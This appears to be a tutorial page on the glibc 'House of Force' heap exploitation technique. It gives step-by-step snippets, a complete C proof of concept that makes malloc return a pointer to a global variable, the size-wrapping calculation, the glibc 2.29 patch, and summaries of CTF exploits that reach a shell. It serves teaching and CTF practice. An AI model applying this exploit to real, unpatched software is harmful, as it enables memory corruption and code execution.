Skip to main content

Overview

The House of Force is a classic heap exploitation technique that exploits the Top Chunk (also called the Wilderness) to make malloc return a nearly-arbitrary pointer. By overwriting the top chunk’s size field with a very large value, an attacker can control where the next allocation will be placed.
Patch Status: This technique was patched in glibc 2.29 with additional top chunk size validation checks.

Glibc Version Compatibility

VersionStatusNotes
glibc < 2.29✅ WorkingOriginal technique works
glibc >= 2.29❌ PatchedTop chunk size validation added
Latest❌ PatchedUse House of Tangerine instead
Patch commit: 30a17d8c95fbfb15c52d1115803b63aaa73a285c
Ret2 Wargames Practice: Try this technique hands-on at House of Force Interactive Challenge

What This Technique Achieves

The House of Force enables:
  • Arbitrary memory allocation: Force malloc to return a pointer to any memory location
  • GOT overwrite: Overwrite Global Offset Table entries (requires RELRO disabled)
  • Data section control: Modify global variables or function pointers
  • Integer overflow exploitation: Use integer overflow to reach target addresses

Prerequisites and Constraints

This technique requires:
  1. Heap overflow: Ability to overwrite the top chunk’s size field
  2. Allocation control: Ability to control malloc size parameter
  3. Target address knowledge: Must know the address you want to hit
  4. No RELRO or partial RELRO: For GOT overwrites (or target stack/heap)
  5. Glibc < 2.29: Technique is patched in newer versions

How It Works

1

Allocate initial chunk

Make a normal allocation to have a heap chunk before the top chunk.
intptr_t *p1 = malloc(256);
2

Overflow into top chunk

Use a vulnerability to overwrite the top chunk’s size with -1 (0xFFFFFFFFFFFFFFFF).
int real_size = malloc_usable_size(p1);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));

// VULNERABILITY: Overflow p1 into top chunk
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
3

Calculate evil size

Calculate the size needed to move the top chunk to your target location.
// Formula: evil_size = target - top - 4*sizeof(long)
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
4

Allocate evil size

Make a large allocation that will move the top chunk via integer overflow.
void *new_ptr = malloc(evil_size);
// Top chunk now points near our target!
5

Allocate at target

The next allocation will be served from the new top chunk location.
void *target_chunk = malloc(100);
// target_chunk now points to bss_var!
strcpy(target_chunk, "CONTROLLED");

Complete Source Code

/*
   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);

	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);
}

Technical Deep Dive

The Top Chunk

The top chunk (wilderness) is special:
  • It’s always the last chunk in the heap
  • It grows when more memory is needed
  • Its size determines available heap space
  • When allocated from, it splits off a chunk and shrinks
// Simplified top chunk allocation from malloc.c
victim = av->top;
remainder_size = chunksize(victim) - nb;  // nb = requested size + header
if (remainder_size >= MINSIZE) {
    remainder = chunk_at_offset(victim, nb);
    av->top = remainder;
    set_head(victim, nb | PREV_INUSE);
    set_head(remainder, remainder_size | PREV_INUSE);
}

Integer Overflow Exploitation

The magic happens with integer overflow:
Original top chunk address: 0x603000
Target address (bss_var):   0x601060

We want: new_top = old_top + evil_size = target
So: evil_size = target - old_top - metadata
    evil_size = 0x601060 - 0x603000 - 0x20
    evil_size = 0xFFFFFFFFFFFFFE40 (negative/huge positive)

With corrupted size = -1 (0xFFFFFFFFFFFFFFFF):
    if (chunksize(top) >= nb) // Always true!
    new_top = 0x603000 + 0xFFFFFFFFFFFFFE40
            = 0x601040 (wraps around via overflow)

Size Calculation Formula

The evil_size formula accounts for:
  • Chunk metadata (2 * sizeof(long) = 16 bytes on x64)
  • Alignment requirements
  • The distance between old top and target
// Complete formula:
// new_top = old_top + (requested_size + 2*sizeof(long))
// Solving for requested_size when new_top = target:
evil_size = target_address - old_top_address - 4*sizeof(long);

The Patch (glibc 2.29)

Glibc 2.29 added this check:
// From malloc.c
if (__glibc_unlikely(chunksize(av->top) > av->system_mem)) {
    malloc_printerr("malloc(): corrupted top size");
}
This prevents setting the top chunk size to an impossibly large value.

CTF Challenges

Challenge: Recipe management system with heap overflowExploitation:
  • Used heap overflow to corrupt top chunk size
  • Calculated evil_size to target GOT entries
  • Overwrote free@GOT with system address
  • Got shell by freeing chunk containing “/bin/sh”
Writeup: CTF Writeup
Challenge: Cloud storage service with controlled allocationsExploitation:
  • Corrupted top chunk via off-by-one overflow
  • Used House of Force to allocate on stack
  • Overwrote saved return pointer
  • Achieved RCE
Writeup: CTF Writeup

Modern Alternative

House of Tangerine

Successor to House of Force: Works on glibc 2.26+ by exploiting sysmalloc’s _int_free call on the top chunk. Uses tcache poisoning instead of direct top chunk allocation.

Common Pitfalls

Calculation Errors: The most common mistake is getting the evil_size calculation wrong. Remember to account for both the chunk header and alignment.
ASLR Without Leak: You need to know absolute addresses. With ASLR, you need an information leak to know where to target.
Size Too Small: If evil_size is too small, malloc might call mmap() instead of using the top chunk, bypassing your exploit.

See Also

Build docs developers (and LLMs) love